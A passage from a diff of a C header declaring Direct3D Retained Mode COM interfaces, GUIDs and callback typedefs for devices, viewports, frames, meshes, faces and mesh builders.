*ppvObj) kind; \ STDMETHOD_(ULONG, AddRef) (THIS) kind; \ - STDMETHOD_(ULONG, Release) (THIS) kind + STDMETHOD_(ULONG, Release) (THIS) kind #define IDIRECT3DRMOBJECT_METHODS(kind) \ STDMETHOD(Clone) (THIS_ LPUNKNOWN pUnkOuter, REFIID riid, LPVOID *ppvObj) kind; \ STDMETHOD(AddDestroyCallback) (THIS_ D3DRMOBJECTCALLBACK, LPVOID argument) kind; \ @@ -17,492 +17,515 @@ STDMETHOD_(DWORD, GetAppData) (THIS) kind; \ STDMETHOD(SetName) (THIS_ LPCSTR) kind; \ STDMETHOD(GetName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind; \ - STDMETHOD(GetClassName) (THIS_ LPDWORD lpdwSize, LPSTR lpName) kind -#define WIN_TYPES(itype, ptype) typedef interface itype FAR *LP##ptype, FAR **LPLP##ptype -WIN_TYPES(IDirect3DRMObject, DIRECT3DRMOBJECT); -WIN_TYPES(IDirect3DRMDevice, DIRECT3DRMDEVICE); -WIN_TYPES(IDirect3DRMViewport, DIRECT3DRMVIEWPORT); -WIN_TYPES(IDirect3DRMFrame, DIRECT3DRMFRAME); -WIN_TYPES(IDirect3DRMVisual, DIRECT3DRMVISUAL); -WIN_TYPES(IDirect3DRMMesh, DIRECT3DRMMESH); -WIN_TYPES(IDirect3DRMMeshBuilder, DIRECT3DRMMESHBUILDER); -WIN_TYPES(IDirect3DRMFace, DIRECT3DRMFACE); -WIN_TYPES(IDirect3DRMLight, DIRECT3DRMLIGHT); -WIN_TYPES(IDirect3DRMTexture, DIRECT3DRMTEXTURE); -WIN_TYPES(IDirect3DRMWrap, DIRECT3DRMWRAP); -WIN_TYPES(IDirect3DRMMaterial, DIRECT3DRMMATERIAL); -WIN_TYPES(IDirect3DRMAnimation, DIRECT3DRMANIMATION); -WIN_TYPES(IDirect3DRMAnimationSet, DIRECT3DRMANIMATIONSET); -WIN_TYPES(IDirect3DRMUserVisual, DIRECT3DRMUSERVISUAL); -WIN_TYPES(IDirect3DRMShadow, DIRECT3DRMSHADOW); -WIN_TYPES(IDirect3DRMArray, DIRECT3DRMOBJECTARRAY); -WIN_TYPES(IDirect3DRMDeviceArray, DIRECT3DRMDEVICEARRAY); -WIN_TYPES(IDirect3DRMFaceArray, DIRECT3DRMFACEARRAY); -WIN_TYPES(IDirect3DRMViewportArray, DIRECT3DRMVIEWPORTARRAY); -WIN_TYPES(IDirect3DRMFrameArray, DIRECT3DRMFRAMEARRAY); -WIN_TYPES(IDirect3DRMVisualArray, DIRECT3DRMVISUALARRAY); -WIN_TYPES(IDirect3DRMPickedArray, DIRECT3DRMPICKEDARRAY); -WIN_TYPES(IDirect3DRMLightArray, DIRECT3DRMLIGHTARRAY); -DEFINE_GUID(CLSID_CDirect3DRMDevice, 0x4fa3568e, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMViewport, 0x4fa3568f, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMFrame, 0x4fa35690, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMMesh, 0x4fa35691, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMMeshBuilder, 0x4fa35692, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMFace, 0x4fa35693, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMLight, 0x4fa35694, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMTexture, 0x4fa35695, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMWrap, 0x4fa35696, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMMaterial, 0x4fa35697, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMAnimation, 0x4fa35698, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMAnimationSet, 0x4fa35699, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMUserVisual, 0x4fa3569a, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(CLSID_CDirect3DRMShadow, 0x4fa3569b, 0x623f, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMObject, 0xeb16cb00, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMDevice, 0xe9e19280, 0x6e05, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMViewport, 0xeb16cb02, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMFrame, 0xeb16cb03, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMVisual, 0xeb16cb04, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMMesh, 0xa3a80d01, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMMeshBuilder, 0xa3a80d02, 0x6e12, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMFace, 0xeb16cb07, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMLight, 0xeb16cb08, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMTexture, 0xeb16cb09, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMWrap, 0xeb16cb0a, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMMaterial, 0xeb16cb0b, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMAnimation, 0xeb16cb0d, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMAnimationSet, 0xeb16cb0e, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMDeviceArray, 0xeb16cb10, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMViewportArray, 0xeb16cb11, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMFrameArray, 0xeb16cb12, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMVisualArray, 0xeb16cb13, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMLightArray, 0xeb16cb14, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMPickedArray, 0xeb16cb16, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMFaceArray, 0xeb16cb17, 0xd271, 0x11ce, 0xac, 0x48, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMUserVisual, 0x59163de0, 0x6d43, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -DEFINE_GUID(IID_IDirect3DRMShadow, 0xaf359780, 0x6ba3, 0x11cf, 0xac, 0x4a, 0x0, 0x0, 0xc0, 0x38, 0x25, 0xa1); -typedef void (CDECL *D3DRMOBJECTCALLBACK)(LPDIRECT3DRMOBJECT obj, LPVOID arg); -typedef void (CDECL *D3DRMFRAMEMOVECALLBACK)(LPDIRECT3DRMFRAME obj, LPVOID arg, D3DVALUE delta); -typedef void (CDECL *D3DRMUPDATECALLBACK)(LPDIRECT3DRMDEVICE obj, LPVOID arg, int, LPD3DRECT); -typedef int (CDECL *D3DRMUSERVISUALCALLBACK)(LPDIRECT3DRMUSERVISUAL,LPVOID,D3DRMUSERVISUALREASON,LPDIRECT3DRMDEVICE,LPDIRECT3DRMVIEWPORT); -typedef HRESULT (CDECL *D3DRMLOADTEXTURECALLBACK)(char *,void *,LPDIRECT3DRMTEXTURE *); -typedef void (CDECL *D3DRMLOADCALLBACK) (LPDIRECT3DRMOBJECT,REFIID,LPVOID); -typedef struct _D3DRMPICKDESC { - ULONG ulFaceIdx; - LONG lGroupIdx; - D3DVECTOR vPosition; -} D3DRMPICKDESC, *LPD3DRMPICKDESC; -#undef INTERFACE -#define INTERFACE IDirect3DRMObject -DECLARE_INTERFACE_(IDirect3DRMObject, IUnknown) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMVisual -DECLARE_INTERFACE_(IDirect3DRMVisual, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMDevice -DECLARE_INTERFACE_(IDirect3DRMDevice, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(Init)(THIS_ ULONG width, ULONG height) PURE; - STDMETHOD(InitFromD3D)(THIS_ LPDIRECT3D lpD3D, LPDIRECT3DDEVICE lpD3DDev) PURE; - STDMETHOD(InitFromClipper)(THIS_ LPDIRECTDRAWCLIPPER lpDDClipper, LPGUID lpGUID, int width, int height) PURE; - STDMETHOD(Update)(THIS) PURE; - STDMETHOD(AddUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE; - STDMETHOD(DeleteUpdateCallback)(THIS_ D3DRMUPDATECALLBACK, LPVOID arg) PURE; - STDMETHOD(SetBufferCount)(THIS_ DWORD) PURE; - STDMETHOD_(DWORD, GetBufferCount)(THIS) PURE; - STDMETHOD(SetDither)(THIS_ BOOL) PURE; - STDMETHOD(SetShades)(THIS_ DWORD) PURE; - STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE; - STDMETHOD(SetTextureQuality)(THIS_ D3DRMTEXTUREQUALITY) PURE; - STDMETHOD(GetViewports)(THIS_ LPDIRECT3DRMVIEWPORTARRAY *return_views) PURE; - STDMETHOD_(BOOL, GetDither)(THIS) PURE; - STDMETHOD_(DWORD, GetShades)(THIS) PURE; - STDMETHOD_(DWORD, GetHeight)(THIS) PURE; - STDMETHOD_(DWORD, GetWidth)(THIS) PURE; - STDMETHOD_(DWORD, GetTrianglesDrawn)(THIS) PURE; - STDMETHOD_(DWORD, GetWireframeOptions)(THIS) PURE; - STDMETHOD_(D3DRMRENDERQUALITY, GetQuality)(THIS) PURE; - STDMETHOD_(D3DCOLORMODEL, GetColorModel)(THIS) PURE; - STDMETHOD_(D3DRMTEXTUREQUALITY, GetTextureQuality)(THIS) PURE; - STDMETHOD(GetDirect3DDevice)(THIS_ LPDIRECT3DDEVICE *) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMViewport -DECLARE_INTERFACE_(IDirect3DRMViewport, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(Init)(THIS_ LPDIRECT3DRMDEVICE d,LPDIRECT3DRMFRAME c,DWORD x,DWORD y,DWORD w,DWORD h) PURE; - STDMETHOD(Clear)(THIS) PURE; - STDMETHOD(Render)(THIS_ LPDIRECT3DRMFRAME) PURE; - STDMETHOD(SetFront)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetBack)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetField)(THIS_ D3DVALUE) PURE; - STDMETHOD(SetUniformScaling)(THIS_ BOOL) PURE; - STDMETHOD(SetCamera)(THIS_ LPDIRECT3DRMFRAME) PURE; - STDMETHOD(SetProjection)(THIS_ D3DRMPROJECTIONTYPE) PURE; - STDMETHOD(Transform)(THIS_ D3DRMVECTOR4D *d, D3DVECTOR *s) PURE; - STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DRMVECTOR4D *s) PURE; - STDMETHOD(Configure)(THIS_ LONG x, LONG y, DWORD width, DWORD height) PURE; - STDMETHOD(ForceUpdate)(THIS_ DWORD x1, DWORD y1, DWORD x2, DWORD y2) PURE; - STDMETHOD(SetPlane)(THIS_ D3DVALUE left, D3DVALUE right, D3DVALUE bottom, D3DVALUE top) PURE; - STDMETHOD(GetCamera)(THIS_ LPDIRECT3DRMFRAME *) PURE; - STDMETHOD(GetDevice)(THIS_ LPDIRECT3DRMDEVICE *) PURE; - STDMETHOD(GetPlane)(THIS_ D3DVALUE *left, D3DVALUE *right, D3DVALUE *bottom, D3DVALUE *top) PURE; - STDMETHOD(Pick)(THIS_ LONG x, LONG y, LPDIRECT3DRMPICKEDARRAY *return_visuals) PURE; - STDMETHOD_(BOOL, GetUniformScaling)(THIS) PURE; - STDMETHOD_(LONG, GetX)(THIS) PURE; - STDMETHOD_(LONG, GetY)(THIS) PURE; - STDMETHOD_(DWORD, GetWidth)(THIS) PURE; - STDMETHOD_(DWORD, GetHeight)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetField)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetBack)(THIS) PURE; - STDMETHOD_(D3DVALUE, GetFront)(THIS) PURE; - STDMETHOD_(D3DRMPROJECTIONTYPE, GetProjection)(THIS) PURE; - STDMETHOD(GetDirect3DViewport)(THIS_ LPDIRECT3DVIEWPORT *) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMFrame -DECLARE_INTERFACE_(IDirect3DRMFrame, IDirect3DRMVisual) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(AddChild)(THIS_ LPDIRECT3DRMFRAME child) PURE; - STDMETHOD(AddLight)(THIS_ LPDIRECT3DRMLIGHT) PURE; - STDMETHOD(AddMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE; - STDMETHOD(AddTransform)(THIS_ D3DRMCOMBINETYPE, D3DRMMATRIX4D) PURE; - STDMETHOD(AddTranslation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(AddScale)(THIS_ D3DRMCOMBINETYPE, D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; - STDMETHOD(AddRotation)(THIS_ D3DRMCOMBINETYPE, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE; - STDMETHOD(AddVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE; - STDMETHOD(GetChildren)(THIS_ LPDIRECT3DRMFRAMEARRAY *children) PURE; - STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; - STDMETHOD(GetLights)(THIS_ LPDIRECT3DRMLIGHTARRAY *lights) PURE; - STDMETHOD_(D3DRMMATERIALMODE, GetMaterialMode)(THIS) PURE; - STDMETHOD(GetParent)(THIS_ LPDIRECT3DRMFRAME *) PURE; - STDMETHOD(GetPosition)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_position) PURE; - STDMETHOD(GetRotation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR axis, LPD3DVALUE return_theta) PURE; - STDMETHOD(GetScene)(THIS_ LPDIRECT3DRMFRAME *) PURE; - STDMETHOD_(D3DRMSORTMODE, GetSortMode)(THIS) PURE; - STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE; - STDMETHOD(GetTransform)(THIS_ D3DRMMATRIX4D return_matrix) PURE; - STDMETHOD(GetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR return_velocity, BOOL with_rotation) PURE; - STDMETHOD(GetOrientation)(THIS_ LPDIRECT3DRMFRAME reference, LPD3DVECTOR dir, LPD3DVECTOR up) PURE; - STDMETHOD(GetVisuals)(THIS_ LPDIRECT3DRMVISUALARRAY *visuals) PURE; - STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE; - STDMETHOD(InverseTransform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE; - STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg)PURE; - STDMETHOD(LookAt)(THIS_ LPDIRECT3DRMFRAME target, LPDIRECT3DRMFRAME reference, D3DRMFRAMECONSTRAINT) PURE; - STDMETHOD(Move)(THIS_ D3DVALUE delta) PURE; - STDMETHOD(DeleteChild)(THIS_ LPDIRECT3DRMFRAME) PURE; - STDMETHOD(DeleteLight)(THIS_ LPDIRECT3DRMLIGHT) PURE; - STDMETHOD(DeleteMoveCallback)(THIS_ D3DRMFRAMEMOVECALLBACK, VOID *arg) PURE; - STDMETHOD(DeleteVisual)(THIS_ LPDIRECT3DRMVISUAL) PURE; - STDMETHOD_(D3DCOLOR, GetSceneBackground)(THIS) PURE; - STDMETHOD(GetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE *) PURE; - STDMETHOD_(D3DCOLOR, GetSceneFogColor)(THIS) PURE; - STDMETHOD_(BOOL, GetSceneFogEnable)(THIS) PURE; - STDMETHOD_(D3DRMFOGMODE, GetSceneFogMode)(THIS) PURE; - STDMETHOD(GetSceneFogParams)(THIS_ D3DVALUE *return_start, D3DVALUE *return_end, D3DVALUE *return_density) PURE; - STDMETHOD(SetSceneBackground)(THIS_ D3DCOLOR) PURE; - STDMETHOD(SetSceneBackgroundRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; - STDMETHOD(SetSceneBackgroundDepth)(THIS_ LPDIRECTDRAWSURFACE) PURE; - STDMETHOD(SetSceneBackgroundImage)(THIS_ LPDIRECT3DRMTEXTURE) PURE; - STDMETHOD(SetSceneFogEnable)(THIS_ BOOL) PURE; - STDMETHOD(SetSceneFogColor)(THIS_ D3DCOLOR) PURE; - STDMETHOD(SetSceneFogMode)(THIS_ D3DRMFOGMODE) PURE; - STDMETHOD(SetSceneFogParams)(THIS_ D3DVALUE start, D3DVALUE end, D3DVALUE density) PURE; - STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; - STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; - STDMETHOD_(D3DRMZBUFFERMODE, GetZbufferMode)(THIS) PURE; - STDMETHOD(SetMaterialMode)(THIS_ D3DRMMATERIALMODE) PURE; - STDMETHOD(SetOrientation)(THIS_ LPDIRECT3DRMFRAME r, D3DVALUE dx, D3DVALUE dy, D3DVALUE dz,D3DVALUE ux,D3DVALUE uy,D3DVALUE uz) PURE; - STDMETHOD(SetPosition)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(SetRotation)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, D3DVALUE theta) PURE; - STDMETHOD(SetSortMode)(THIS_ D3DRMSORTMODE) PURE; - STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; - STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; - STDMETHOD(SetVelocity)(THIS_ LPDIRECT3DRMFRAME reference, D3DVALUE x, D3DVALUE y, D3DVALUE z, BOOL with_rotation) PURE; - STDMETHOD(SetZbufferMode)(THIS_ D3DRMZBUFFERMODE) PURE; - STDMETHOD(Transform)(THIS_ D3DVECTOR *d, D3DVECTOR *s) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMMesh -DECLARE_INTERFACE_(IDirect3DRMMesh, IDirect3DRMVisual) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; - STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE; - STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE; - STDMETHOD(AddGroup)(THIS_ unsigned vCount, unsigned fCount, unsigned vPerFace, unsigned *fData, D3DRMGROUPINDEX *returnId) PURE; - STDMETHOD(SetVertices)(THIS_ D3DRMGROUPINDEX id, unsigned index, unsigned count, D3DRMVERTEX *values) PURE; - STDMETHOD(SetGroupColor)(THIS_ D3DRMGROUPINDEX id, D3DCOLOR value) PURE; - STDMETHOD(SetGroupColorRGB)(THIS_ D3DRMGROUPINDEX id, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; - STDMETHOD(SetGroupMapping)(THIS_ D3DRMGROUPINDEX id, D3DRMMAPPING value) PURE; - STDMETHOD(SetGroupQuality)(THIS_ D3DRMGROUPINDEX id, D3DRMRENDERQUALITY value) PURE; - STDMETHOD(SetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL value) PURE; - STDMETHOD(SetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE value) PURE; - STDMETHOD_(unsigned, GetGroupCount)(THIS) PURE; - STDMETHOD(GetGroup)(THIS_ D3DRMGROUPINDEX id, unsigned *vCount, unsigned *fCount, unsigned *vPerFace, DWORD *fDataSize, unsigned *fData) PURE; - STDMETHOD(GetVertices)(THIS_ D3DRMGROUPINDEX id, DWORD index, DWORD count, D3DRMVERTEX *returnPtr) PURE; - STDMETHOD_(D3DCOLOR, GetGroupColor)(THIS_ D3DRMGROUPINDEX id) PURE; - STDMETHOD_(D3DRMMAPPING, GetGroupMapping)(THIS_ D3DRMGROUPINDEX id) PURE; - STDMETHOD_(D3DRMRENDERQUALITY, GetGroupQuality)(THIS_ D3DRMGROUPINDEX id) PURE; - STDMETHOD(GetGroupMaterial)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMMATERIAL *returnPtr) PURE; - STDMETHOD(GetGroupTexture)(THIS_ D3DRMGROUPINDEX id, LPDIRECT3DRMTEXTURE *returnPtr) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMShadow -DECLARE_INTERFACE_(IDirect3DRMShadow, IDirect3DRMVisual) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(Init) - ( THIS_ LPDIRECT3DRMVISUAL visual, LPDIRECT3DRMLIGHT light, - D3DVALUE px, D3DVALUE py, D3DVALUE pz, - D3DVALUE nx, D3DVALUE ny, D3DVALUE nz - ) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMFace -DECLARE_INTERFACE_(IDirect3DRMFace, IDirect3DRMObject) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(AddVertex)(THIS_ D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(AddVertexAndNormalIndexed)(THIS_ DWORD vertex, DWORD normal) PURE; - STDMETHOD(SetColorRGB)(THIS_ D3DVALUE, D3DVALUE, D3DVALUE) PURE; - STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; - STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; - STDMETHOD(SetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE u, D3DVALUE v) PURE; - STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE; - STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; - STDMETHOD(GetVertex)(THIS_ DWORD index, D3DVECTOR *vertex, D3DVECTOR *normal) PURE; - STDMETHOD(GetVertices)(THIS_ DWORD *vertex_count, D3DVECTOR *coords, D3DVECTOR *normals); - STDMETHOD(GetTextureCoordinates)(THIS_ DWORD vertex, D3DVALUE *u, D3DVALUE *v) PURE; - STDMETHOD(GetTextureTopology)(THIS_ BOOL *wrap_u, BOOL *wrap_v) PURE; - STDMETHOD(GetNormal)(THIS_ D3DVECTOR *) PURE; - STDMETHOD(GetTexture)(THIS_ LPDIRECT3DRMTEXTURE *) PURE; - STDMETHOD(GetMaterial)(THIS_ LPDIRECT3DRMMATERIAL *) PURE; - STDMETHOD_(int, GetVertexCount)(THIS) PURE; - STDMETHOD_(int, GetVertexIndex)(THIS_ DWORD which) PURE; - STDMETHOD_(int, GetTextureCoordinateIndex)(THIS_ DWORD which) PURE; - STDMETHOD_(D3DCOLOR, GetColor)(THIS) PURE; -}; -#undef INTERFACE -#define INTERFACE IDirect3DRMMeshBuilder -DECLARE_INTERFACE_(IDirect3DRMMeshBuilder, IDirect3DRMVisual) { - IUNKNOWN_METHODS(PURE); - IDIRECT3DRMOBJECT_METHODS(PURE); - STDMETHOD(Load)(THIS_ LPVOID filename, LPVOID name, D3DRMLOADOPTIONS loadflags, D3DRMLOADTEXTURECALLBACK, LPVOID lpArg) PURE; - STDMETHOD(Save)(THIS_ const char *filename, D3DRMXOFFORMAT, D3DRMSAVEOPTIONS save) PURE; - STDMETHOD(Scale)(THIS_ D3DVALUE sx, D3DVALUE sy, D3DVALUE sz) PURE; - STDMETHOD(Translate)(THIS_ D3DVALUE tx, D3DVALUE ty, D3DVALUE tz) PURE; - STDMETHOD(SetColorSource)(THIS_ D3DRMCOLORSOURCE) PURE; - STDMETHOD(GetBox)(THIS_ D3DRMBOX *) PURE; - STDMETHOD(GenerateNormals)(THIS) PURE; - STDMETHOD_(D3DRMCOLORSOURCE, GetColorSource)(THIS) PURE; - STDMETHOD(AddMesh)(THIS_ LPDIRECT3DRMMESH) PURE; - STDMETHOD(AddMeshBuilder)(THIS_ LPDIRECT3DRMMESHBUILDER) PURE; - STDMETHOD(AddFrame)(THIS_ LPDIRECT3DRMFRAME) PURE; - STDMETHOD(AddFace)(THIS_ LPDIRECT3DRMFACE) PURE; - STDMETHOD(AddFaces) - ( THIS_ DWORD vcount, D3DVECTOR *vertices, DWORD ncount, D3DVECTOR *normals, - DWORD *data, LPDIRECT3DRMFACEARRAY* - ) PURE; - STDMETHOD(ReserveSpace)(THIS_ DWORD vertex_Count, DWORD normal_count, DWORD face_count) PURE; - STDMETHOD(SetColorRGB)(THIS_ D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; - STDMETHOD(SetColor)(THIS_ D3DCOLOR) PURE; - STDMETHOD(SetTexture)(THIS_ LPDIRECT3DRMTEXTURE) PURE; - STDMETHOD(SetMaterial)(THIS_ LPDIRECT3DRMMATERIAL) PURE; - STDMETHOD(SetTextureTopology)(THIS_ BOOL wrap_u, BOOL wrap_v) PURE; - STDMETHOD(SetQuality)(THIS_ D3DRMRENDERQUALITY) PURE; - STDMETHOD(SetPerspective)(THIS_ BOOL) PURE; - STDMETHOD(SetVertex)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(SetNormal)(THIS_ DWORD index, D3DVALUE x, D3DVALUE y, D3DVALUE z) PURE; - STDMETHOD(SetTextureCoordinates)(THIS_ DWORD index, D3DVALUE u, D3DVALUE v) PURE; - STDMETHOD(SetVertexColor)(THIS_ DWORD index, D3DCOLOR) PURE; - STDMETHOD(SetVertexColorRGB)(THIS_ DWORD index, D3DVALUE red, D3DVALUE green, D3DVALUE blue) PURE; - STDMETHOD(GetFaces)(THIS_ LPDIRECT3DRMFACEARRAY*) PURE; - STDMETHOD(GetVertices) - ( THIS_ DWORD *vcount, D3DVECTOR *vertices, DWORD *ncount, D3DVECTOR *normals, DWORD *face_data_size, DWORD *face_data - ) PURE; - 